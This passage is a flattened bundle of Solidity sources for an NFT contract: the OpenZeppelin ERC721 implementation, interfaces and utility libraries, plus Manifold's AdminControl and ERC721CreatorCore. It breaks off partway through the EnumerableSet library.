import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping (uint256 => address) private _owners; // Mapping owner address to token count mapping (address => uint256) private _balances; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. Empty by default, can be overriden * in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { // solhint-disable-next-line no-inline-assembly assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "./IAdminControl.sol"; abstract contract AdminControl is Ownable, IAdminControl, ERC165 { using EnumerableSet for EnumerableSet.AddressSet; // Track registered admins EnumerableSet.AddressSet private _admins; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IAdminControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Only allows approved admins to call the specified function */ modifier adminRequired() { require(owner() == msg.sender || _admins.contains(msg.sender), "AdminControl: Must be owner or admin"); _; } /** * @dev See {IAdminControl-getAdmins}. */ function getAdmins() external view override returns (address[] memory admins) { admins = new address[](_admins.length()); for (uint i = 0; i < _admins.length(); i++) { admins[i] = _admins.at(i); } return admins; } /** * @dev See {IAdminControl-approveAdmin}. */ function approveAdmin(address admin) external override onlyOwner { if (!_admins.contains(admin)) { emit AdminApproved(admin, msg.sender); _admins.add(admin); } } /** * @dev See {IAdminControl-revokeAdmin}. */ function revokeAdmin(address admin) external override onlyOwner { if (_admins.contains(admin)) { emit AdminRevoked(admin, msg.sender); _admins.remove(admin); } } /** * @dev See {IAdminControl-isAdmin}. */ function isAdmin(address admin) public override view returns (bool) { return (owner() == admin || _admins.contains(admin)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; import "../extensions/ERC721/IERC721CreatorExtensionApproveTransfer.sol"; import "../extensions/ERC721/IERC721CreatorExtensionBurnable.sol"; import "../permissions/ERC721/IERC721CreatorMintPermissions.sol"; import "./IERC721CreatorCore.sol"; import "./CreatorCore.sol"; /** * @dev Core ERC721 creator implementation */ abstract contract ERC721CreatorCore is CreatorCore, IERC721CreatorCore { using EnumerableSet for EnumerableSet.AddressSet; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(CreatorCore, IERC165) returns (bool) { return interfaceId == type(IERC721CreatorCore).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {ICreatorCore-setApproveTransferExtension}. */ function setApproveTransferExtension(bool enabled) external override extensionRequired { require(!enabled || ERC165Checker.supportsInterface(msg.sender, type(IERC721CreatorExtensionApproveTransfer).interfaceId), "Extension must implement IERC721CreatorExtensionApproveTransfer"); if (_extensionApproveTransfers[msg.sender] != enabled) { _extensionApproveTransfers[msg.sender] = enabled; emit ExtensionApproveTransferUpdated(msg.sender, enabled); } } /** * @dev Set mint permissions for an extension */ function _setMintPermissions(address extension, address permissions) internal { require(_extensions.contains(extension), "CreatorCore: Invalid extension"); require(permissions == address(0x0) || ERC165Checker.supportsInterface(permissions, type(IERC721CreatorMintPermissions).interfaceId), "Invalid address"); if (_extensionPermissions[extension] != permissions) { _extensionPermissions[extension] = permissions; emit MintPermissionsUpdated(extension, permissions, msg.sender); } } /** * Check if an extension can mint */ function _checkMintPermissions(address to, uint256 tokenId) internal { if (_extensionPermissions[msg.sender] != address(0x0)) { IERC721CreatorMintPermissions(_extensionPermissions[msg.sender]).approveMint(msg.sender, to, tokenId); } } /** * Override for post mint actions */ function _postMintBase(address, uint256) internal virtual {} /** * Override for post mint actions */ function _postMintExtension(address, uint256) internal virtual {} /** * Post-burning callback and metadata cleanup */ function _postBurn(address owner, uint256 tokenId) internal virtual { // Callback to originating extension if needed if (_tokensExtension[tokenId] != address(this)) { if (ERC165Checker.supportsInterface(_tokensExtension[tokenId], type(IERC721CreatorExtensionBurnable).interfaceId)) { IERC721CreatorExtensionBurnable(_tokensExtension[tokenId]).onBurn(owner, tokenId); } } // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } // Delete token origin extension tracking delete _tokensExtension[tokenId]; } /** * Approve a transfer */ function _approveTransfer(address from, address to, uint256 tokenId) internal { if (_extensionApproveTransfers[_tokensExtension[tokenId]]) { require(IERC721CreatorExtensionApproveTransfer(_tokensExtension[tokenId]).approveTransfer(from, to, tokenId), "ERC721Creator: Extension approval failure"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant alphabet = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = alphabet[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that 